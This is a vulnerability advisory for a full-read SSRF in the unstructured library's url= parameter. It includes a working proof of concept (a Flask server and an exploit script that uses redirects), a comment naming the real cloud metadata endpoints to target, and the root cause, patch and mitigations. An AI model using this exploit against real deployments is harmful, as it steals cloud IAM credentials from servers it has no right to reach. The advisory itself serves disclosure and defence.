CVE-2026-71428: unstructured Full-Read SSRF via url= Parameter
Passing an attacker-controlled URL to unstructured's partition functions causes the server to fetch any internal HTTP address and return its contents as parsed document text, exposing cloud…

The problem
The url= argument of partition(), partition_html(), and partition_md() is passed directly to requests.get() with no host validation and with redirect-following enabled by default.
Because the full response body is parsed and returned as Element text, this is a full-read SSRF: the caller receives the raw content of whatever the server fetched. Every version from 0.4.7 (February 2023) through 0.22.x is affected across all three sinks.
Proof of concept
A working proof-of-concept for CVE-2026-71428 in unstructured, with the exact payload below.
# internal_server.py (run on attacker-controlled or victim-local port 9999)
from flask import Flask, Response, jsonify
app = Flask(__name__)
@app.route("/imds")
def imds(): return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})
@app.route("/internal.html")
def html(): return Response("<html><body><p>SK_LEAK_42</p></body></html>", mimetype="text/html")
@app.route("/redir")
def redir(): return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})
if __name__ == "__main__": app.run(host="127.0.0.1", port=9999)
# exploit.py
import unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag = _tt.pos_tag = lambda t: [(w, "NN") for w in (t or "").split()]
from unstructured.partition.auto import partition
L = "http://127.0.0.1:9999"
# Path A: direct internal HTML read
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{L}/internal.html", languages=["eng"]))
# Path B: redirect bypass reaches simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{L}/redir", languages=["eng"]))
print("PoC OK")
# In production substitute: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# or http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/The root cause is the total absence of host validation before the requests.get() call in all three partition sinks (auto.py:303, partition/html/partition.py:160, md.py:96). Python's requests library follows 3xx redirects by default (allow_redirects=True), so an attacker can bypass any naive URL check by pointing to a redirect server that bounces to 169.254.169.254 or any private range.
The patch in 0.24.0 (commit 445c957) added a pre-fetch validator that resolves the hostname, checks the resolved IP against RFC-1918 and link-local ranges, and raises before the socket is opened. This closes the direct-IP and redirect-bypass paths. DNS rebinding (TOCTOU) requires a separate socket-pinning control and is not fully addressed by hostname-check-only guards, but that is a general HTTP-client limitation rather than a gap in this specific fix.
CWE-918 (SSRF) is primary; CWE-601 (Open Redirect) applies to the redirect-bypass exploitation path.
The fix
Upgrade unstructured to 0.24.0 or later. The fix adds pre-fetch IP validation in all three partition sinks, blocking private, loopback, and link-local destinations before the socket is opened. If an immediate upgrade is not possible, pass only pre-validated URLs, strip the url= argument from user-controlled input at the application layer, and enforce egress firewall rules on the host running unstructured to block access to RFC-1918 ranges and link-local addresses (169.254.0.0/16, 100.64.0.0/10).
For AWS deployments, enforce IMDSv2-only on all EC2 instances to prevent credential theft via the IMDS endpoint even if SSRF reaches it.
Related research
- high · 7.2CVE-2026-45019CVE-2026-45019: Chainlit SSRF via MCP SSE and Streamable-HTTP Transports
- high · 8.2utcp-http SSRF via Unvalidated HTTP Redirect in call_tool
- high · 7.1utcp-http OAuth2 tokenUrl Trust Boundary Bypass (SSRF and Credential Theft)
- high · 7.1CVE-2026-55537CVE-2026-55537: PraisonAI Webhook SSRF via DNS Fail-Open and TOCTOU Race